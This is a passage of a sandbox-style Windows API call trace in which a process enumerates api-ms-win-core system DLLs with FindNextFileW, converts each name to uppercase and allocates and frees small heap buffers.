BaseAddress=0xddc120) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.050] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.050] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.050] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.050] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.050] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.051] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.051] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.051] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.051] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.052] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.052] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xddc120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.052] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.052] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.052] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xddc288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.053] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xddc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.053] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xddc288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.053] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.053] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xddc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0024.053] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.054] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xddc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.054] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.054] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.054] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 